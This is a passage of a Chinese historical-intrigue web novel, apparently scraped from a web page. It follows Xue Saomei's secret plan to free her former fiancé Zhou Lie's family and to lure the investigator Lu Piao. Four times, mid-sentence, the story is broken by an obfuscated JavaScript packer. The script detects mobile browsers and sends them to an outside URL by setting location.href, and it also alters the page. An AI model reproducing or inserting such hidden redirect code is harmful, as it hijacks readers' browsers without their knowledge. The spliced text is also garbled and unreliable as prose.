那日周烈大闹菩萨蛮,如儿姑娘曾拦在他身前,说她与陆缥是知己好友,让周烈不要误会。陆缥与如儿周旋近十日,早发现她在一紧张的时候,就忍不住用左手食指关节摩擦拇指指甲;而她说“莫误会”的时候,下意识地做了这个动作,可见是真的在意周烈。 再者,陆缥对薛扫眉和玉霓裳的关系起疑后,也曾折回菩萨蛮,对如儿用了些血滴子的手段——一种名为“蝴蝶泪”的五陵蛮人秘制迷药。这种药无色无味,服下后如无解药,将立刻陷入迷幻之中,有求必应,有问必答。果然,一滴入口,平时羞怯的如儿很快变成话痨,拉着陆缥大倒苦水,说她这几年来与周烈并非逢场作戏,从周烈手里骗来房产地契也都是逼不得已,她已暗中攒下了一笔钱财,只望与周烈远走高飞,又担心如此误了他的前途,更何况他与那薛大姑娘是有婚约的,她卑贱之身,怎敢染指……洋洋洒洒,连泣带诉,哭得陆缥头都要大了,可一句有用的都没有。待他问如儿是否知道玉霓裳和薛大姑娘之间的关系、接近自己是否是薛氏指示、周烈与薛氏之间有无来往,她便一问三不知了。 既然如此,他也没必要再演下去,不如做个顺水人情,顺便看看……她后面如何反应。 马车行到山路上,开始有些颠簸。陆缥阖紧眼帘,面前却似乎又浮现出那两湾清澈眼波。 薛大姑娘。 他微笑起来,醉颜如桃花,嘴角的弧度却是冷硬的。 今日宴席上发生的种种,看起来理所应当、环环相扣,像是一个预设好的精妙棋局。但是,周烈的两个举动出卖了他的胆怯与心虚:一是未及开席便已痛饮,二是在慷慨陈词时不由自主地眨眼和咬牙。同样是“冲冠一怒为红颜”,那日在菩萨蛮时,周烈的表现可要自然得多;今日种种,则更像是在刻意表演。外人只道是周少爷行事一贯如此荒唐,而陆缥坐拥多年审讯经验,自然看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364889|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更通透。 周烈有问题,和他串联在一起、演出今晚这场大戏的薛扫眉和玉霓裳一定也有问题。只可惜,派去盯梢的人暂未发现他们是怎么事先联络的,陆缥本人也还没想清楚周少爷自毁长城的动机。 难道,那双明澈眼睛的主人,是会蛊惑人心的妖女? 再等等。一旦发现任何不法行为,管她再扮什么柔弱可怜,他也一定将其缉拿归案。 *** 薛家的马车走得早。陆缥的马车刚进南城门时,薛扫眉一行人已回到了薛宅。 这一路上,刚退了婚的薛扫眉本人没说什么,倒是阿橘的怨气简直快把马车顶盖都掀翻了。要是她有出口成真的本事,恐怕周老爷和周烈此刻已经灰飞烟灭、永不轮回了。 薛扫眉体力还未恢复,又被阿橘唠叨得烦闷,回到闺房后便命她退下:“我今日累了,你把窗户都关好就出去罢。不必在外间候着了,回自己的房间,明日巳时过了再来。”转过脸,她对站在门外的薛兼也下了逐客令,“你也走。” 薛兼不知在想什么,兀自出神,没听见这句话。直到薛扫眉发了脾气,说出“滚”字,他才和阿橘一并退下,只留数个仆从远远守着。 薛扫眉听他二人脚步渐远,立刻起身闩好门。 她是薛家独一份的掌上明珠,最得父亲薛昭偏宠,闺房都是他亲自操刀设计的,拔步床、贵妃榻、书桌、多宝架、茶几、小凳、香案……几乎每件家具都用整块的金丝楠木、黄花梨、酸枝等名贵木材打造,雕花细腻,光彩照人。因她闻不惯树漆味儿,薛昭特意命人在家具表面改打木蜡油,用心程度可见一斑。 那样好的父亲,已经去世四年多了。他留下的这些死物,还在庇佑着她。 薛扫眉定了定神,从贵妃榻底部暗格中取出一把镌刻着朱雀图腾的黄铜钥匙,走到靠墙摆放的多宝架边蹲下,将钥匙插入最底部抽屉内侧的小孔中,向右一转,随后拔出。 整面墙立刻无声地转动起来。 一个仅容一人通过的狭窄洞口逐渐露出。 屋内人影微动,旋即只余烛影。屋外夜色被更鼓打散,屋内墙面重新合拢,双双陷入沉寂。 在寂静中,薛扫眉举着一支光线微弱的蜡烛独行,依次穿过密道、暗室和另一段密道。待走到面前无路时,她举袖拭去鬓边的热汗,再随意取下一支发簪,在铁壁上划动。 金属摩擦的声音不怎么动听,所幸她没有等待很久。很快,铁壁另一侧传来几声有规律的闷响。 凝神倾听了片刻,待辨认出是约定好的节奏,薛扫眉执匙打开面前那扇同样伪装成墙壁的玄铁门。 光线倾斜进来。有道人影亦顺势而入,向她拜倒。 薛扫眉眼眶一热,柔声道:“你来了。” 来人缓缓抬起头,热泪铺满了他还红肿着的、略显狼狈的脸。 迎着她欣慰又有些伤感的目光,周烈哑着嗓子,嗫嚅地喊了一声“眉儿妹妹”。 12. 第 12 章 “烈哥哥,”薛扫眉努力向周烈绽开一抹微笑,“你快起来。我走到这里,实在累得狠了,没力气扶你。” 二人挪步回到密道,薛扫眉转动钥匙,周宅这侧的铁门无声闭拢。 周烈搀扶着薛扫眉,侧耳听她继续说话:“今日闹了一场,世伯可还受得住?你们回青州的车马,该准备起来了罢?到里头去,咱们兄妹俩好好聊聊。” 她语气虚弱,但还在用笑意粉饰,周烈闻言,忍不住又落下泪来。 “他今天实在是气狠了,刚才我来之前给他点了根静心香,现在应该是睡着了。眉儿妹妹,我知道你烦他,有时候他老人家是贪心啰嗦了一些,但对你是绝无恶意的。等再过几天,我把这边的事情都处理完了,就带着他回清浦老家,此生不再回来了。”周烈支撑着她,着手处触及纤弱的骨骼,不由得心中又是一酸。 从记事起,他就知道长大后薛家妹妹会成为自己的妻子。 当年薛扫眉的父亲薛昭带着怀有身孕的妻子曾氏,从未央京流落至崤东道青州府清浦镇,机缘巧合下被周烈的父亲周老爷收留。后来,薛昭与周老爷脾气相投,结为异姓兄弟,一同到碧霄府经商,期间薛昭攀上漕运的路数,拼死下南洋走了一遭,摇身成为碧南道首屈一指的巨贾,令周老爷也沾了光。曾氏生下薛斐之后不久,周老爷亦喜得贵子,便是他周烈。又过了三四年,曾氏诞下一女,两家于是给周烈和这个闺名叫扫眉的女童定下了娃娃亲。 那场灭门血案发生时,薛扫眉已经及笄,正在家中待嫁。如果一切顺利,他们早该结为夫妇了。 可惜天意弄人。 二人边说话,边下到一处暗室之中。方才薛扫眉路过这里,已点燃了墙上钉着的几处蜡烛。 周烈不想让她看清自己的眼泪,胡乱抹了把脸,强笑着撇开话头:“今日折腾了一晚,你是不是饿了?我带了一些桃花酥来,那是你以前最爱吃的,快尝尝。” 他自袖中掏出已被体温熨烫的手帕,在烛光下展开,露出形状完好的点心。 薛扫眉摇头婉拒:“我吃不惯那些甜的了。” 此间昏暗,她借着灯光,定定看着面皮浮肿的周烈,仿佛透过这具皮囊,又看见从前那个少年郎。 虽然阿兄薛斐素来不喜周家父子,认为他们平庸世俗,配不上自己玉雪可爱的妹妹,但薛昭和曾氏却坚持与周家联姻,因为周家曾对薛家有恩,且扫眉在知根知底的商贾人家做长子媳妇,肯定比高嫁来得自由。对于婚嫁之事,幼年时的薛扫眉并没有什么概念,只把邻家的烈哥哥当作亲生阿兄一般对待。她十岁时因为谶语到散月山隐居,一去就是五年,再回到薛家时,已经到了需要在意瓜田李下的年纪,和周烈再相见只能隔着屏风了,根本看不清形容,自然也说不上有什么额外的感觉。 直到薛府灭门的那一夜,屠戮她全家上下的面具人在给她灌下剧毒“捣练子”之后沙哑地告诉她,“你和你阿兄的命,都在吾掌中矣。你要是寻死,他也必不能活;但如果你乖乖听话,那我保证你能享有更胜从前的荣华富贵,你的阿兄也自会平安无虞——只要你听话。”然后他古怪地笑出了声,说,“我要你做的第一件事,就是去报……算了,府衙太远了,你去周家罢,告诉他们:你爹、你娘和你阿兄,薛家所有知道这一切的人,除了你之外,都已经死了。” 惊痛忧惧如焚五内,她夺路而逃。暴雨洗刷掉她去时一路跌跌撞撞留下的血痕,似乎也可洗去一切罪恶。 扣响周家大门之后,薛扫眉终于体力不支,晕了过去。 再醒来的时候,薛扫眉第一个见到的人就是周烈。他和小时候的样子差别不大,但彼时看着她,却多了一分小心翼翼和欲言又止。 她晕倒时磕破了额头,在周府养了一个多月,他偶尔也会带着桃花酥来看她。那时的周烈,还是个会发自内心地笑的少年。 “对不住,我以为……你还喜欢的。”烛花噼啪跳跃,周烈的话把薛扫眉拉回到今时今刻。 “不喜欢了。”薛扫眉望着他的眉眼,诚挚地说,“但我永远承你的情。” 时间紧迫,她不再容许自己沉浸在对过去的思绪当中,立刻正色道:“烈哥哥,不要去清浦,所有人都知道你们老家在那里。你到了青州府地界,在城中最大的那家四个字的客栈盘桓三日,便会有玉霓裳的人带着银票去找你。我是逃不出去了,你带着周世伯和如儿远走高飞罢,替我多看几眼外面的世界,便也算我自己看过了。” 周烈听她提起如儿,顿时如坐针毡:“如儿的事,是我对不住你……” “这没有什么。烈哥哥,我一直拿你当亲哥哥看待,能让你逃出生天,甚至还能与自己喜欢的人相知相守,我真是再欢喜不过了。那个婚约本就是口头约定,没有经过三媒六聘,做不得数,现在也已经当众废除了,你切不必再放在心上。” “我本来应该留下来和你一起面对这些,但是我,我真的怕……对不住,眉儿妹妹,是我懦弱,护不住你。” “不要这样说,我都明白的。”薛扫眉微笑着,心里有些酸。无关风月,没有嫉妒,她只是羡慕。周烈那日冲冠一怒为红颜,上菩萨蛮去讨要公道,并不在他二人此前规划之内。从那时她就知道,周烈心里有了更重要的、更愿意去守护的人。是时候该送他离开这场风暴了。 当年她坚持不吃面具人给的解药,果然在灭门案发生一个月后第一次毒发,剜心之痛犹如灭顶。薛兼那时已奉命监视在她左右,发现情况不对之后,强行让她服下了解药,这才让她悠悠醒转过来。清醒之后,毒已暂缓,薛扫眉却比任何时候都要痛苦,因为捣练子的毒性是真的——那便意味着面具人所说的其他一切也都是真的。 后来,为了让薛扫眉变成一把更趁手的刀,面具人安排她自立女户,并要求她择机让周家退婚。可周老爷立志要照顾好义弟留下的孤女,宁可招来“娶个扫把星媳妇”的名声,也绝不放弃婚约。 事实上,就算面具人不要求两家退婚,薛扫眉也早已决意要将周家从这个局中择干净。她私下找到周烈,和他细说了灭门案的真相,指望他知难而退。谁知周烈当时少年意气,不仅立刻拒绝了她的好意,还拍着桌子说定要将那杀人凶手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364890|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 碎尸万段,来告慰岳父岳母的在天之灵。 这天晚上,周烈起夜时,骇然发现金丝软枕的侧面、距他头颅仅有数寸的地方,插着一把刀。他铁青着脸把刀拔出来,被几乎已浸入刀刃的鲜血喷了一脸。 周少爷于是整整病了一旬,每日神思昏昏,说不出话来。 某天夜里,薛扫眉突然敲响了他的门,告诉了他一个秘密:薛、周两家的宅院都是薛昭生前亲自设计的,为了躲避仇家,薛扫眉闺房内有条密道,径直通向周宅废弃的一间房。她此番正是借由这条密道前来探望。 她又问起那把刀。可是周烈当日偷偷丢掉了它,不曾对任何人提过此事。 只有一个解释——送刀的人,是薛扫眉。她在测验周烈的胆气,而周烈,这个原本最应为她提供臂膀的人,没有通过测验。 当时他们相对沉默了很久,最后还是薛扫眉先开口。她已有了谋划:唯有败光周烈的名声和周家家产,才能让周老爷同意退婚,且让面具人放松警惕,歇了把周家也纳入囊中的意图,同意放他们父子二人离开。当然,周烈的牺牲只是暂时的,他亲自送出的那些资财,将会在他和周老爷离开碧霄府之后,换种形式回到他手中。此时距离灭门案才过去三个月,薛扫眉不仅已为周烈设计好了要演的戏,甚至连唱戏的台子都找好了——便是她前不久暗中买下的菩萨蛮。 周烈鬼使神差地答应了她的方案。他有些绝望地发现自己是真的胆怯,也第一次在面对薛扫眉的时候自惭形秽。 除此之外,他还感到了敬畏。曾经就要成为自己妻子的邻家妹妹,柔弱娴静的外表之下,却有狼一般坚韧的灵魂。她在受伤之后暂且收起了锋利的爪牙,但不意味着永远屈从,而是在默默蛰伏、积蓄力量,等待那个足以一击即中的机会。就凭这点,她已经胜过无数须眉,包括他。 为了保险,周烈和薛扫眉甚至将玉霓裳都蒙在了鼓里——她一直以为薛扫眉是为了摆脱好色的未婚夫,才指使自己设下圈套,逼周烈退婚。周烈也借着去菩萨蛮的机会,将薛扫眉通过密道递过来的、夹带迷信的银票,亲手或者借由狐朋狗友的手转送到玉霓裳手中,方便她二人通信。 至于他和如儿,那又是另一个故事了。 “妹妹知我,我原就不是个有大志向的人,只想携至亲知己,在乡间做一个小富即安的田舍郎罢了。从明日开始,我就着手发卖奴婢、收拾行装。待如儿来了,我们就把房子交给玉妈妈,启程去青州。”周烈抹了把脸,起身向她郑重一揖,“从此以后,山高水长,相逢不知何期。我会为妹妹日夜祈祷,愿你康健喜乐,遇难成祥,早日逃脱那个人的魔掌……也祝阿斐能早日回家。” 他这席话说得熟练,似乎已演练过无数遍。薛扫眉听得心驰神往,忍不住微笑起来:“一定会有那么一天的。” 笑着笑着,她的眼泪悄悄划过烛光未曾照亮的半边脸颊,在地上洒出一朵涟漪。 “烈哥哥,最后帮我一个忙,可好?下个月中旬,等收到了我的信儿,你再走。 “我有重要的事情做,需要你帮忙引开一个人。” 13. 第 13 章 昼夜如水流逝,转眼间十月已过去一半。 这几日风霜渐冷,山林尽染,引得游人纷至沓来。特别是桑罗观中的一棵高大的千年银杏,叶片已全部转黄,活像一把金黄色的冲天火焰,数里外便可望见。 簪缨在坊间采买时偶然听闻此事,顿时来了兴趣。 他是勤国公府的家生子,被陆缥外祖母也即勤国公老妇人指派来贴身照顾陆缥——实则却是陆缥独来独往惯了,不耐烦有人侍候,因此从外祖母调拨的一派人手中随意点了一个年纪最小、最好摆脱的小童,随自己南下。来到碧霄府一月有余,陆缥也只有在几次宴饮时带他出席,其余时间都将他撂在官舍,做些看门采买的细碎活计;更过分的是,连去菩萨蛮那么好玩的地方,也不带上他!早知如此,还不如就在勤国公府待着,好歹有其他小厮丫鬟一同说笑。小簪缨无语问苍天,几乎闷出病来。 好在忽然跃入脑海的新主意驱散了原本笼罩在簪缨头上的阴云。他噼里啪啦地打起了小算盘:本朝官员五日一休,明日正巧是陆缥休沐。若是侯爷愿意同去郊游,那是最好不过的了;若是不肯,也要尽力求侯爷放自己一天假。无论如何,他陆簪缨一定要捡一片色泽最美、形状最全的银杏叶,留给阿姊赏玩。 想到这里,他顿感斗志昂扬,一路跑回官舍,打算等陆缥从府衙散值回来便好言相求。 簪缨不知道的是,他雀跃而去的小小身影,已被自家侯爷居高临下看了个完全。 目送簪缨远去后,陆缥收回视线,将手中端着的绀黑兔毫纹瓷盏举到唇边,浅饮一口清茶。 时值正午,日光朗朗。陆缥身处的“时来春”茶楼三层雅间,正好可以清楚地鸟瞰轸宿、张宿和翼宿三条街的交汇处。 这家茶楼原本只卖昂贵的团茶,但因其规模中等、装潢一般,并无多少客人愿意买账。大约一月之前,茶楼换了个几乎将“热情”二字写在脸上的新掌柜,忽然改售起物美价廉的散茶,再加上本身区位占优,于是客人逐渐多了起来,有时甚至座无虚席。人一多,嘴便杂;说者无意,听者有心。若将此间用于打探和传递消息,那可再便利不过了。 不错,这里便是陆缥下江南后新建的血滴子据点之一。他今日过来,一是为了视察,二是为了亲眼看看周家的动向。 这小半个月来,他派去监视司法参军曹永年、知府陈相如、玉霓裳以及薛周两家的各路探子时有回报,称陈府家宴后三日内,薛家便付完了如儿的赎身钱,玉霓裳亲自将人送到周宅,将好容易平静下来的周老爷又气了个仰倒。除此之外,曹陈两位大人照旧尸位素餐,玉霓裳出入如常,周少爷忙着整理行装,薛大姑娘专注养病,倒也没什么异常了。 直到昨日夜里,周宅方向来报,说是周少爷已决意第二天中午出发。未过几时,玉霓裳便派龟奴老齐向陆缥送来了一张请帖,邀请他明日戌时光临菩萨蛮,欣赏新排演的海棠春睡舞。那张请帖用花笺写就,字迹灵秀,十分考究。唯恐他不来,玉霓裳还随信附上一支粉色的银边海棠玉步摇,更添风流。 陆缥记得这支步摇。陈府家宴当晚,它簪在薛大姑娘发髻上。 周少爷和玉霓裳选在同一天有所动作,是有些巧合,但这尚能用如儿曾回菩萨蛮取东西、代为帮忙传递消息来解释。奇怪的是,他们是怎么和一直深居闺中的薛大姑娘保持联络的?薛大姑娘将贴身饰品委托玉霓裳送来,等同于告诉陆缥她们之间关系匪浅,她又为什么要这样做? 这些问题,连每日守在玉霓裳跟前的老齐都无法给他一个解释。 陆缥决定亲自寻找答案。周家要北上去青州,势必从他眼皮子底下路过。他倒要看看这其中有何玄虚。 陆缥给自己又倒了一杯茶,仰头尽数喝下。抬手间,他袖管中琮琤作响,是玄铁折扇与那步摇互相敲击发出的声音。 就在陆侯爷高楼独饮的同时,周老爷一家灰溜溜地离开了周宅。 临走时,周老爷黯然回首,最后看了一眼这座即将易主的高门深院。二十多年前,他和薛昭携妻儿一起来到碧霄府,打拼挣下一片家业,以为从此可以安享富贵,他乡做故乡了;可是如今,兄弟被害,妻子早逝,子嗣不肖,家宅凋敝,人近暮年,反倒惶惶然如丧家之犬。 赤条条来,赤条条走。天地不仁,以万物为刍狗! 周老爷思之念之,老泪纵横,泣不成声。 他那无用的独生子,从后头走上前,默默搀扶住了周老爷的手臂。周老爷心中恨意未消,但也没甩开儿子的手。不知是否是错觉,从陈府家宴结束后,周烈似乎有所收敛,处理起事情也不乏条理,竟显得和从前大不相同了。可惜变化来得太迟,一切都来不及了! 周老爷恋恋不舍地上了马车。薛大姑娘仁善,即使在众人面前被狠狠羞辱,也还是送了一队马车和充裕的盘缠过来,算是仁至义尽了。原本再等大半年,周烈就能娶了扫眉,两家合为一家。可怎奈棋差一着,周老爷自薛家灭门案发生之后在心中逐渐蠢动起来的小小盘算终归成了泡影。 轿帘垂落,周家车马次第启动。 片刻之后,薛兼支开其他仆从,自外头叩响了薛扫眉闺房的窗格。薛扫眉委顿在贵妃榻上,听他低声说:“周家父子走了。” 屋内已经烧起了银丝炭,将空气熏得暖融融的,而陷在被子里的薛扫眉却觉得寒冷麻木。迷离间,她仿佛看见周家父子远去的背影。 有竹马萎谢、青梅盈盈,无笛声箫声,长亭短亭。心中有情,就不必亲自相送,儿女沾巾。 薛扫眉忽又想起面具人那天带着威胁的话语——“周烈这等跳梁小丑,趁早收拾了好,免得误事”。 他不知道她已经用四年多的时间设好了局。在这局棋中,她看似是弱势的一方,但能护下哪颗棋子,由她说了算。 谋划成真,薛扫眉心里除了离别的落寞,也有欣慰和喜悦。 泥菩萨又怎样?时日无多又怎样?能多度哪怕一个人,也是好的。她不亏。 薛兼又一次叩窗。薛扫眉许久没有回复,他有些急了。 薛扫眉这才懒洋洋地开口:“既已退婚,姓周的一家和我就无干系了。你跟着周家人,等他们过了乌程府、确认不会回来了,便直接去向主人复命罢。” “你怎知主人在乌程府?”他敏锐地问。 “我只知主人在北边,并不知是在乌程府。”不过拜他所赐,现在知道了,薛扫眉心中冷笑,“你上次回来的时候,头发上已经结了霜,想来是去的北边。乌程府在本道最北,周家去青州势必要从那里路过,我原想着你从那里去找主人,应是便利的。” 她话语慵懒,带着鼻音。窗外人闻言沉默,末了,窗纸上映出的身影消失了。 薛扫眉松了口气,刚想卸下防备,心脏却忽然抽痛起来。她咬牙抵抗,还是没忍住发出了一声低呼。 薛兼立刻去而复返:“怎么了?” 上个月薛扫眉提前毒发后,薛兼便一直担忧,生怕毒性改变,以后会月月如此。好在薛大姑娘连日来休养得当,十月中旬的前四日都不曾发作。直到今晨,阿橘亲眼看着薛扫眉服下了解药,薛兼才稍稍松懈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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薛兼转身往外走,快到门槛前时,他身后之人突然唇齿轻启,又说了几个字。明明中气不足,但话到薛兼耳边,却犹如响雷。 “以后别再碰我。” 很快地,屋中人声已歇,只余薛扫眉一个人的呼吸。稍顷,有仆妇过来送了新的门闩,薛扫眉勉强支撑着下床把门关好,遣走下人,闭着眼睛缓缓坐在了地上。待这一阵天旋地转逐渐过去,她起身走到床边,挪开枕头。 一粒紫色小丸静静地陷在那里。只要服下这粒药丸,头晕、心悸、发热和抽痛都将很快褪去。 但现在还不是时候。 此前多次拒服解药的经历,让薛扫眉总结出了规律:当解药的药效完全消失之后,她的身体将彻底被捣练子所掌控,逐渐陷入巨大痛楚中。此时如再服下新的解药,一炷香之后,她的毒性会被完全压制,体力几乎与常人无异,这样的效果大致能维持三个时辰,之后随着毒性回复,又开始慢慢衰弱。但是,如果在上一剂解药还未完全失效的时候就服用下一剂解药,那种极端的痛苦和服药之后类似于“回魂”一般的状态都将不会出现了,她将一直维持在孱弱的状态。 早上她在阿橘面前使了个障眼法,假装已经服下解药,实则是将药丸夹在了指缝中,收藏起来。 刚才心脏抽痛的感觉,薛扫眉实在太过熟悉。那是毒发的标志。从此开始,捣练子会在她体内间歇性地发作,越来越快,越来越痛,直到她完全失控。 但今夜薛扫眉有大事要办,酉时开始,她需要自己能够“回魂”,有办法短暂支配这具躯壳——那就只有先忍着,等到了时辰再服解药。眼下还是正午,她需再咬牙熬上几个时辰。 薛扫眉叹了口气,掐着掌心,忍着痛楚,缓缓栽倒在床上。 14. 第 14 章 酉时中,天色已如墨。 时来春茶楼的雅间人走灯灭,菩萨蛮里却是华灯初上,一派欣荣。 玉霓裳杵在大堂里,娴熟地招呼着客人。谈笑应和者不在少数,可无人知她手心里捏着一把汗。 心腹侍女趋近,同玉霓裳低语了几句。她立刻松开了拳头,推说自己要换件衣裙,脚下生风地回到房中,落下门闩。 “您来了。路上可顺利么?” 听见玉霓裳的声音,坐在铜镜前的少女回头望过来。正是薛扫眉。 在侍女去报信的档口,她已自行取下了发簪,此刻乌黑长发自肩头如瀑倾斜,遮掩住纤弱身姿。少见阳光的素色小脸无粉黛点染,犹如一捧霜雪;可当她眼波微动时,那抹雪色便像被日光照亮,融化为格外生动的潋滟暖流。 玉霓裳一晲之下,如遭雷击般僵在原地,面色煞白。直到薛扫眉唤她,她才略略回神,捂着心口强笑道:“哦,没事,没事……”她盯着薛扫眉又看了两眼,“大姑娘出落得越发好了,倒让我想起……”话头才出,玉霓裳又很快咽了回去,忍着没说完。她往来接触的女子,都是在风流行当中行走的;想提起的那个人,如今更是禁忌。讳莫如深,才能体现她对于东家的尊重。 薛扫眉并未在意她的迟疑,转头说起正事。 “玉姐姐,周家父子已经走了,但这件事还没办完。周烈这几年在菩萨蛮花费的银子,可有计数?” 玉霓裳点点头,说出一个数字,接着道:“我都另存了起来,没再划到公账里作本。” 薛扫眉赞许地点点头:“做得很好。你把这些钱换成大额银票,找个妥帖的人,到青州府最大的四字客栈里找到周少爷,全部交给他。此事需暗中去做,切不可让人知晓。” “这不难。不过,青州府最大的四字客栈……是哪一间呀?” “我也不知。不过青州府客栈取名惯用三字或四字,在城内打听一番,应该不难找到。”薛扫眉浅笑,“你不知、我不知,这世上知道的人,便就又少了两个呢。” 玉霓裳是个人精,听薛扫眉这么一说,便咽下追问她与周烈关系的话语,爽快将此事应承了下来。 她走到薛扫眉身后,看到镜中人浅浅微笑,不由得也弯起嘴角:“大姑娘今日说了这么多话,一点都没喘呢,比上次见时好多了。瞿扁鹊真乃神医!周少爷走后,您有什么吩咐,便还让他帮忙传达罢。” 薛扫眉并未接话。哪里是瞿准的药起效,不过是她忍痛晚服解药,拼得今日欢罢了。 她还没启齿,便听得玉霓裳又低声说:“如儿上次回来,说她确认出发时间后会派人回报,我需立刻将花笺和信物送给陆御史……又说您这几日随时会来,让我留意。信我昨日已送出了。大姑娘此番亲自过来,应当不只是为了交代给周家送钱的事情罢。我能为您做些什么?” 薛扫眉轻轻颔首。她想要完成今夜的规划,需要周烈引开薛兼、玉霓裳引来陆缥,且自己在毒发时延后服药,换得半日自由。一系列的事情,都要保证在她毒发的当天之内严丝合缝地完成。原本捣练子固定在每个月十五日发作,但上个月忽然提前了五日。为控制好时间,她未提前告知周烈、玉霓裳各自行动的准确日期,而是约定在感知即将毒发时,由薛宅下人送银灯楼的蝴蝶酥到周宅,作为开启行动的信号。果然,周烈在收到蝴蝶酥后立刻安排隔日出发,并让人以如儿的名义通知了玉霓裳——不过有些奇怪的是,这个月毒发的时间,又回到了十五日。 薛扫眉定定地望着镜中的自己,秀眉舒展。周烈、薛兼、服药、出走……今日的种种人事,均已按照她的筹谋布局到位;如果一切顺利,今晚她应该能第三次见到他。 “玉姐姐,帮我梳妆罢。我今日要选一套最艳丽的衣裳。” *** 广袖中聚拢的暮风还未消散,陆缥带着一身寒气,径直迈入了菩萨蛮。 这座碧水以南最著名的销金窟,此刻正灯火通明,歌舞升平。大堂里,暖香如缕,香木搭就的楼梯像飞云一般旁逸斜出。玉霓裳身着华服,凌驾其上,正与在大堂中簇立的熟客遥遥祝酒调笑。 场中热闹非凡,就是不见上演什么海棠春睡舞。而他分明特意晚来了一刻。 陆缥拧着眉头,步上楼梯,未几似感应到了什么,忽然停步。 他福至心灵地低下头,迎上一双静如深水却又明亮如星的眼眸。 陆缥居高临下地看着那个裹着赤色狐皮斗篷的少女,她也扬着头看他。满堂灯光华彩中,她慧黠地向他弯了弯嘴角,几不可见的笑涡在唇边一闪而过。她今日穿着一身红,在灯光映照下,远而望之,仿佛连笑靥也染上了朝霞般的光彩。 陆缥曾在菩萨蛮和陈府家宴上见过薛大姑娘戴银箔面具、露出半张脸的样子。那些局部的印象从他的记忆中浮现,与此刻这张莹润如玉的清丽脸庞逐渐重合。他很快便认出了她是谁。 她竟亲自来了,这倒是他此前未曾料到的。看来这位薛大姑娘,比他想象中更为大胆。 陆缥盯着她的眼睛,返身踏下一级台阶。木梯稳固,他皂靴落下,未发出分毫声响,但那道黑黢黢的影子自上空投射下来,却实打实地向她所在的位置迫近了一分。 陆缥尚未有进一步的动作,却见薛扫眉隔着重重人潮,向他微一颔首致意,随即背过身去。丝竹汹涌之中,她从从容容地戴上雪帽,从侍女手中接过一盏圆形牛角灯笼,便抬步往外走。赤色斗篷款款摆动,她像一支微弱跳动着的火苗,很快消失在门外的夜幕之中。 冷冽的空气扑面而来,薛扫眉深吸了一口气,如雷般的心跳稍稍放缓。自遭遇灭门大难以来,她自以为已将自己活成了一具行尸走肉。可是今日,也许是因为许久没有过自由的身体和行动,也许是这可能是个重要的破局机会,又也许是因为短兵相接的对手形貌过于昳丽……她竟久违地感受到了紧张。 薛扫眉定定神,用余光确认好陆缥已跟在自己身后,便继续沿着张宿街往东走。 这是碧霄府最繁华的街道。夜市开启,沿街店铺均未打烊,仍是一派繁荣景象。更有贩卖小吃果饮的小商贩,或挑担叫卖,或摆摊迎客,茶汤氤氲,面香暖融,烟气熏熏,交织于人潮之中。 南国的初冬未起风时便不算寒冷,薛扫眉提灯走了片刻,手心渐渐暖了起来。她走得并不算快,甚至还偶有驻足流连。这难得的偷闲时光,让她感受到自己的手是热的,心是热的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14364892|152997||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,呼出的空气是热的,连眼眶也有些热。 薛扫眉单手摘掉雪帽,恣意地大口呼吸。天地宽而阔,人间有烟火,她是其中寻常的一缕——这已经足够让她感到幸福。 就在她停步的这一刻,一个提着花篮的五六岁小童雀跃而来,差点迎面撞上她的灯笼。她还未来得及反应,那小童便飞快地道了声“对不住”,吐了吐舌头,迅速地跑开了。 薛扫眉哑然失笑,却听见身后不远处,稚嫩的嗓音再一次响起。 “公子,我远远瞅见你跟了一路了,给这位姑娘买枝花罢?” 如梦初醒般地,笑意凝滞在她的唇角。是了,她今日不是为了玩乐的,还有更重要的事情去做。 “极新鲜的绿梅,只要十文一枝,与娘子穿的红色衣裳正正合衬,拿在手上……”小童努力推销着,个子高高的郎君终于低下头来,冷淡地瞥了他一眼。 世上竟有如此好看的人!小童看清他的容貌,心下震撼,神使鬼差地道:“不……不要钱也行,我送你!” 薛扫眉就在他们身前五步远处,却仿佛根本没有听见此间的官司,自顾自地抬步往前走。灯笼里的烛光将她的影子拉得好长,简直要和陆缥的脚面重叠在一起。她越走越快,烛光随着脚步颤抖跳动,路面上的影子也朝着她行进的方向静默地流动了起来,与他的所在渐渐远离。 